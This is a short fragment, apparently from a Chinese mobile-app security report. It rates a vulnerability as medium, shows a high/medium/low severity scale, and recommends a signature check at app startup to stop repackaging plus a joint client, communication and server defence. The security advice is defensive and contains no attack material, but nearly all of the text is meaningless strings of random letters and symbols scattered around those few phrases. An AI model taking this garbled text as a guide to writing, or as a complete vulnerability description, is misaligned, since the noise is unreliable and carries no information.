! J6 q% x T' E/ ` 8 A4 j3 M9 G8 {. k 漏洞危害：中

) I Z2 D( }( v/ k. f - k; d3 ]( v2 B1 ~2 e M5 Q) Z8 j' }* _ c9 V5 o h2 @9 ]7 o! N7 h. J8 Z1 D. c. p+ [$ q% T# n Z/ W2 g# a, s% i v+ Y3 r# {! W1 O' ~- U; {! e- r$ w( U$ U7 C7 t4 N1 U8 O9 H. b: M$ ~% [1 h0 J2 v1 y

严重程度 ; I6 L" N U1 E% i/ z	4 K* Q- ^5 |0 F6 v& S9 t- c2 v V$ R! O) v* w- R 3 ?/ c% p2 {% x8 F+ w 高 * t3 [, `. g T" k5 _/ z, Q' h	2 G4 @+ a2 z- b9 ?7 A 5 I/ @) z9 c9 D- O ( X$ {# m6 D- F3 D6 G ■ : V+ p, V: L' d. u 0 z. v0 I6 y j( }	) d6 p8 V# }" c1 i0 K L. Z3 K 中 5 d7 a% P I9 c) v0 }4 G5 U 8 E5 \/ n8 a) l 3 v5 W/ ?. x" c F* Q	5 n9 J# c e& { % [! b# _; Q5 d9 C   ! _) F( W# k0 ]9 N( g * o# Y% \$ x+ w8 j9 r* R 7 K! m" _) A4 ~# e& ?3 J2 [7 B- Q ?	% H3 n0 s# f& Y 低 " C3 E/ E' u& A l 5 L# L) \$ U1 `9 L( ] 8 y! @/ W, `% M$ ^* Y- t- @' K . p7 R, o, e8 g	$ y1 s. `: ^% {8 q2 r 7 h. A0 Q: n' }+ E: G4 K ( `) Y# h6 |' V4 i. Q6 N   " V9 `0 K* r; m' S3 m, G: G . n( V! X- |8 R! |

4 A( H3 j; Z$ n' [- C' S

' ]# x2 \) F/ g+ p, g ; c6 g% Q! Y" T( ]2 d2 `

1 ?! W) M. z+ j+ T+ V3 Q! s) @   , h k. |* ^: h

n/ c$ o3 P" W/ V; o5 T) o

- |7 [7 ?; S2 S3 s% g5 A- M, K 修复方法： & }7 n) F6 Q' ]9 F: _ * v/ ^4 T: \, V( B( E4 U

* w4 g" o5 u. |+ J0 J: [               1.在 APP 启动时应做签名校验防止二次打包。
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 ' l- o* ?6 V+ n

, S- y: A, r' C+ d & R. j/ U `/ u/ X! U% a# o; R ) u L9 L y+ u0 h

& w0 G" x4 f3 y" d' A8 t( G7 ~   ) [; Z/ [, A& E8 X! f; } 1 G C" Q1 j/ t1 l" Q- r4 U9 ^

* m2 q* z& F/ V4 G7 D2 f) ^' j

4 [) W# ~' M) V$ c; U4 ^

- s' X2 K9 D) _/ T6 C- @" x6 d